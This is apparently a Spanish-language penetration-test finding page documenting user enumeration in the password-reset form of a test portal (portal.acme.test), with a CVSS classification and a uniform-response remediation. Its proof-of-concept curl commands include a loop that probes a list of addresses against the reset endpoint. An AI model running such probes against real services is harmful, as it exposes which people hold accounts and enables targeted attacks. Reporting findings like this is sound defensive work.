flawtrace
← Volver a vulnerabilidades

FT-008 · Identification Failures

Enumeración de usuarios en recuperación de cuenta

portal.acme.test

Baja · CVSS 3.1

IMPACTO

Qué puede ocurrir

El formulario responde de forma distinta según exista la cuenta, lo que permite confirmar qué direcciones están registradas y preparar ataques dirigidos.

REPRODUCCIÓN

Prueba de concepto paso a paso

  1. 01

    Solicitar la recuperación con una cuenta existente

    El mensaje confirma el envío y la respuesta tarda algo más por el envío del correo.

    curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
      -X POST https://portal.acme.test/api/password/reset \
      -H 'Content-Type: application/json' \
      -d '{"email":"pentest-user@acme.test"}'
    # => codigo:200 tiempo:0.412
  2. 02

    Repetir con una dirección inexistente

    Cambian el texto y el tiempo, así que la diferencia es observable sin acceso previo.

    curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
      -X POST https://portal.acme.test/api/password/reset \
      -H 'Content-Type: application/json' \
      -d '{"email":"no-existe-9f21@acme.test"}'
    # => codigo:404 tiempo:0.086
  3. 03

    Medir el patrón con una lista corta

    Se usan diez direcciones creadas para el ejercicio, con un intento por segundo, para no afectar al servicio.

    while read email; do
      curl -s -o /dev/null -w "$email %{http_code} %{time_total}\n" \
        -X POST https://portal.acme.test/api/password/reset \
        -H 'Content-Type: application/json' -d "{\"email\":\"$email\"}"
      sleep 1
    done < direcciones-de-prueba.txt

Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.

EVIDENCIA SANITIZADA

Respuestas comparadas

# cuenta existente
HTTP/1.1 200 OK
{"message":"Te hemos enviado un enlace de recuperación"}

# cuenta inexistente
HTTP/1.1 404 Not Found
{"error":"No hay ninguna cuenta con ese correo"}

REMEDIACIÓN

Respuesta uniforme

Unificar el mensaje y el tiempo de respuesta con independencia de la existencia de la cuenta, y limitar los intentos por IP y por dirección.

await maybeSendResetEmail(email); // no revela el resultado
return Response.json(
  { message: "Si la dirección existe, recibirás un enlace de recuperación" },
  { status: 200 }
);

CLASIFICACIÓN

Ficha del hallazgo

Severidad
Baja
CVSS v3.1
3.1
CWE
CWE-204
OWASP
A07:2021 · Identification and Authentication Failures
Validación
Publicado · manual
Activo
portal.acme.test

VECTOR

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

REFERENCIAS

Material de apoyo